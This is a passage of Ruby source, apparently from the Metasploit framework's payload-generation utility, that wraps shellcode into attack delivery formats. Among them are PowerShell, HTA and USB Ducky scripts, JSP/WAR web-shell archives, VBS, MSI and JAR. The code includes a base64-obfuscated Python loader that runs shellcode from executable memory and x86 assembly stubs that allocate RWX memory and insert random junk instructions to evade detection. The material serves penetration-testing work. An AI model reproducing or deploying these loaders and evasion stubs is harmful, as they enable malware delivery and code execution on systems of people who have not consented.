Rex::Powershell::Command.cmd_psh_payload(code,
arch,
template_path,
encode_final_payload: true,
method: 'reflection')
end
def self.to_powershell_ducky_script(framework, arch, code)
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
arch,
template_path,
encode_final_payload: true,
method: 'reflection')
replacers = {}
replacers[:var_payload] = powershell
read_replace_script_template("to_powershell.ducky_script.template", replacers)
end
def self.to_powershell_hta(framework, arch, code)
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
arch,
template_path,
encode_final_payload: true,
remove_comspec: true,
method: 'reflection')
rig = Rex::RandomIdentifier::Generator.new()
rig.init_var(:var_shell)
rig.init_var(:var_fso)
hash_sub = rig.to_h
hash_sub[:powershell] = powershell
read_replace_script_template("to_powershell.hta.template", hash_sub)
end
def self.to_python_reflection(framework, arch, code, exeopts)
unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch
raise RuntimeError, "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"
end
python_code = <<~PYTHON
#{Rex::Text.to_python(code)}
import ctypes,os
if os.name == 'nt':
cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]
ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
else:
import mmap
from ctypes.util import find_library
c = ctypes.CDLL(find_library('c'))
c.mmap.restype = ctypes.c_void_p
ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)
ctypes.memmove(ptr,buf,len(buf))
c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]
c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
PYTHON
"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"
end
def self.to_win32pe_psh_msil(framework, code, opts = {})
Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end
def self.to_win32pe_psh_rc4(framework, code, opts = {})
Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end
def self.to_jsp(exe)
hash_sub = {}
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
payload_hex = exe.unpack('H*')[0]
hash_sub[:payload] = payload_hex
read_replace_script_template("to_exe.jsp.template", hash_sub)
end
def self.to_jsp_war(exe, opts = {})
template = self.to_jsp(exe)
self.to_war(template, opts)
end
def self.to_win32pe_vbs(framework, code, opts = {})
to_exe_vbs(to_win32pe(framework, code, opts), opts)
end
def self.to_win64pe_vbs(framework, code, opts = {})
to_exe_vbs(to_win64pe(framework, code, opts), opts)
end
def self.to_jar(exe, opts = {})
spawn = opts[:spawn] || 2
exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
zip = Rex::Zip::Jar.new
zip.add_sub("metasploit") if opts[:random]
paths = [
[ "metasploit", "Payload.class" ],
]
zip.add_file('metasploit/', '')
paths.each do |path_parts|
path = ['java', path_parts].flatten.join('/')
contents = ::MetasploitPayloads.read(path)
zip.add_file(path_parts.join('/'), contents)
end
zip.build_manifest :main_class => "metasploit.Payload"
config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
zip.add_file("metasploit.dat", config)
zip.add_file(exe_name, exe)
zip
end
def self.to_war(jsp_raw, opts = {})
jsp_name = opts[:jsp_name]
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
app_name = opts[:app_name]
app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
web_xml = %q{<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
</web-app>
}
web_xml.gsub!('NAME', app_name)
web_xml.gsub!('PAYLOAD', jsp_name)
zip = Rex::Zip::Archive.new
zip.add_file('META-INF/', '', meta_inf)
zip.add_file('META-INF/MANIFEST.MF', manifest)
zip.add_file('WEB-INF/', '')
zip.add_file('WEB-INF/web.xml', web_xml)
zip.add_file("#{jsp_name}.jsp", jsp_raw)
if opts[:extra_files]
opts[:extra_files].each {|el| zip.add_file(el[0], el[1])}
end
zip.pack
end
def self.to_dotnetmem(base=0x12340000, data="", opts = {})
set_template_default(opts, "dotnetmem.dll")
pe = self.get_file_contents(opts[:template])
base_offset = opts[:base_offset] || 180
pe[base_offset, 4] = [base].pack('V')
timestamp_offset = opts[:timestamp_offset] || 136
pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')
text_offset = opts[:text_offset] || 0x1065
text_max = opts[:text_max] || 0x8000
pack = opts[:pack] || 'a32768'
pe[text_offset, text_max] = [data].pack(pack)
uuid_offset = opts[:uuid_offset] || 37656
pe[uuid_offset,16] = Rex::Text.rand_text(16)
pe
end
def self.encode_stub(framework, arch, code, platform = nil, badchars = '')
return code unless framework.encoders
framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
begin
enc = framework.encoders.create(name)
raw = enc.encode(code, badchars, nil, platform)
return raw if raw
rescue
end
end
nil
end
def self.generate_nops(framework, arch, len, opts = {})
opts['BadChars'] ||= ''
opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
return nil unless framework.nops
framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
begin
nop = framework.nops.create(name)
raw = nop.generate_sled(len, opts)
return raw if raw
rescue
end
end
nil
end
def self.win32_rwx_exec(code)
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
arch: ARCH_X86,
name: 'api_call'
)
stub_exit = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: None.
; Clobbers: EAX, EBX, (ESP will also be modified)
; Note: Execution is not expected to (successfully) continue past this block
exitfunk:
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
mov eax, ebp
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ;
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 );
^
stub_alloc = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
#{stub_block}
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi, #{code.length}
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code
call get_payload
got_payload:
pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling
exitblock:
#{stub_exit}
set_handler:
xor eax,eax
push dword [fs:eax]
mov dword [fs:eax], esp
call ebx
jmp exitblock
^
stub_final = %Q^
get_payload:
call got_payload
payload:
; Append an arbitrary payload here
^
stub_alloc.gsub!('short', '')
stub_alloc.gsub!('byte', '')
wrapper = ""
cnt_jmp = 0
stub_alloc.each_line do |line|
line.gsub!(/;.*/, '')
line.strip!
next if line.empty?
wrapper << "nop\n" if rand(2) == 0
if rand(2) == 0
wrapper << "jmp autojump#{cnt_jmp}\n"
1.upto(rand(8)+8) do
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
end
wrapper << "autojump#{cnt_jmp}:\n"
cnt_jmp += 1
end
wrapper << line + "\n"
end
wrapper << stub_final
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
enc.data + code
end
def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
arch: ARCH_X86,
name: 'api_call'
)
stub_exit = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: None.
; Clobbers: EAX, EBX, (ESP will also be modified)
; Note: Execution is not expected to (successfully) continue past this block
exitfunk:
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ;
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 );
^
stub_alloc = %Q^
pushad ; Save registers
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
#{stub_block}
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi,#{code.length}
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code
call get_payload
got_payload:
pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling
exitblock:
#{stub_exit}
set_handler:
xor eax,eax
; push dword [fs:eax]
; mov dword [fs:eax], esp
push eax ; LPDWORD lpThreadId (NULL)
push eax ; DWORD dwCreationFlags (0)
push eax ; LPVOID lpParameter (NULL)
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
push eax ; SIZE_T dwStackSize (0 for default)
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateThread')} ; hash( "kernel32.dll", "CreateThread" )
call ebp ; Spawn payload thread
pop eax ; Skip
; pop eax ; Skip
pop eax ; Skip
popad ; Get our registers back
; sub esp, 44 ; Move stack pointer back past the handler
^
stub_final = %Q^
get_payload:
call got_payload
payload:
; Append an arbitrary payload here
^
stub_alloc.gsub!('short', '')
stub_alloc.gsub!('byte', '')
wrapper = ""
cnt_jmp = 0
cnt_nop = 64
stub_alloc.each_line do |line|
line.gsub!(/;.*/, '')
line.strip!
next if line.empty?
if cnt_nop > 0 && rand(4) == 0
wrapper << "nop\n"
cnt_nop -= 1
end
if cnt_nop > 0 && rand(16) == 0
cnt_nop -= 2
cnt_jmp += 1
wrapper << "jmp autojump#{cnt_jmp}\n"
1.upto(rand(8)+1) do
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
cnt_nop -= 1
end
wrapper << "autojump#{cnt_jmp}:\n"
end
wrapper << line + "\n"
end
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
wrapper << stub_final
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
res = enc.data + code
if which_offset == 'start'
res[soff,4] = [block_offset - (soff + 4)].pack('V')
elsif which_offset == 'end'
res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
else
raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
end
res
end
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
if arch.kind_of? Array
output = nil
arch.each do |a|
output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
break if output
end
return output
end
case fmt
when 'asp'
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
Msf::Util::EXE.to_exe_asp(exe, exeopts)
when 'aspx'
Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
when 'aspx-exe'
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
Msf::Util::EXE.to_exe_aspx(exe, exeopts)
when 'dll'
case arch
when ARCH_X86,nil
to_win32pe_dll(framework, code, exeopts)
when ARCH_X64
to_win64pe_dll(framework, code, exeopts)
end
when 'exe'
case arch
when ARCH_X86,nil
to_win32pe(framework, code, exeopts)
when ARCH_X64
to_win64pe(framework, code, exeopts)
end
when 'exe-service'
case arch
when ARCH_X86,nil
to_win32pe_service(framework, code, exeopts)
when ARCH_X64
to_win64pe_service(framework, code, exeopts)
end
when 'exe-small'
case arch
when ARCH_X86,nil
to_win32pe_old(framework, code, exeopts)
when ARCH_X64
to_win64pe(framework, code, exeopts)
end
when 'exe-only'
case arch
when ARCH_X86,nil
to_winpe_only(framework, code, exeopts)
when ARCH_X64
to_winpe_only(framework, code, exeopts, arch)
end
when 'msi'
case arch
when ARCH_X86,nil
exe = to_win32pe(framework, code, exeopts)
when ARCH_X64
exe = to_win64pe(framework, code, exeopts)
end
exeopts[:uac] = true
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
when 'msi-nouac'
case arch
when ARCH_X86,nil
exe = to_win32pe(framework, code, exeopts)
when ARCH_X64
exe = to_win64pe(framework, code, exeopts)
end
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
when 'elf'
if elf? code
return code
end
if !plat || plat.index(Msf::Module::Platform::Linux)
case arch
when ARCH_X86,nil
to_linux_x86_elf(framework, code, exeopts)
when ARCH_X64
to_linux_x64_elf(framework, code, exeopts)
when ARCH_AARCH64
to_linux_aarch64_elf(framework, code, exeopts)
when ARCH_PPC64
to_linux_ppc64_elf(framework, code, exeopts)
when ARCH_ARMLE
to_linux_armle_elf(framework, code, exeopts)
when ARCH_MIPSBE
to_linux_mipsbe_elf(framework, code, exeopts)
when ARCH_MIPSLE
to_linux_mipsle_elf(framework, code, exeopts)
when ARCH_RISCV32LE
to_linux_riscv32le_elf(framework, code, exeopts)
when ARCH_RISCV64LE
to_linux_riscv64le_elf(framework, code, exeopts)
end
elsif plat && plat.index(Msf::Module::Platform::BSD)
case arch
when ARCH_X86,nil
Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
when ARCH_X64
Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)
end
elsif plat && plat.index(Msf::Module::Platform::Solaris)
case arch
when ARCH_X86,nil
to_solaris_x86_elf(framework, code, exeopts)
end
end
when 'elf-so'
if elf? code
return code
end
if !plat || plat.index(Msf::Module::Platform::Linux)
case arch
when ARCH_X86
to_linux_x86_elf_dll(framework, code, exeopts)
when ARCH_X64
to_linux_x64_elf_dll(framework, code, exeopts)
when ARCH_ARMLE
to_linux_armle_elf_dll(framework, code, exeopts)
when ARCH_AARCH64
to_linux_aarch64_elf_dll(framework, code, exeopts)
when ARCH_RISCV32LE
to_linux_riscv32le_elf_dll(framework, code, exeopts)
when ARCH_RISCV64LE
to_linux_riscv64le_elf_dll(framework, code, exeopts)
end
end
when 'macho', 'osx-app'
if macho? code
macho = code
else
macho = case arch
when ARCH_X86,nil
to_osx_x86_macho(framework, code, exeopts)
when ARCH_X64
to_osx_x64_macho(framework, code, exeopts)
when ARCH_ARMLE
to_osx_arm_macho(framework, code, exeopts)
when ARCH_PPC
to_osx_ppc_macho(framework, code, exeopts)
when ARCH_AARCH64
to_osx_aarch64_macho(framework, code, exeopts)
end
end
fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho
when 'vba'
Msf::Util::EXE.to_vba(framework, code, exeopts)
when 'vba-exe'
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
Msf::Util::EXE.to_exe_vba(exe)
when 'vba-psh'
Msf::Util::EXE.to_powershell_vba(framework, arch, code)
when 'vbs'
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
when 'loop-vbs'
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
when 'jsp'
arch ||= [ ARCH_X86 ]
tmp_plat = plat.platforms if plat
tmp_plat ||= Msf::Module::PlatformList.transform('win')
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
Msf::Util::EXE.to_jsp(exe)
when 'war'
arch ||= [ ARCH_X86 ]
tmp_plat = plat.platforms if plat
tmp_plat ||= Msf::Module::PlatformList.transform('win')
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
Msf::Util::EXE.to_jsp_war(exe)
when 'psh'
Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
when 'psh-net'
Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
when 'psh-reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
when 'psh-cmd'
Msf::Util::EXE.to_powershell_command(framework, arch, code)
when 'hta-psh'
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
when 'python-reflection'
Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)
when 'ducky-script-psh'
Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code)
end
end
def self.to_executable_fmt_formats
[
"asp",
"aspx",
"aspx-exe",
"axis2",
"dll",
"ducky-script-psh",
"elf",
"elf-so",
"exe",
"exe-only",
"exe-service",
"exe-small",
"hta-psh",
"jar",
"jsp",
"loop-vbs",
"macho",
"msi",
"msi-nouac",
"osx-app",
"psh",
"psh-cmd",
"psh-net",
"psh-reflection",
"python-reflection",
"vba",
"vba-exe",
"vba-psh",
"vbs",
"war"
]
end
def self.get_file_contents(file, perms = "rb")
contents = ''
File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}
contents
end
def self.find_payload_tag(mo, err_msg)
bo = mo.index('PAYLOAD:')
unless bo
raise RuntimeError, err_msg
end
bo
end
def self.elf?(code)
code[0..3] == "\x7FELF"
end
def self.macho?(code)
code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"
end
end
end
end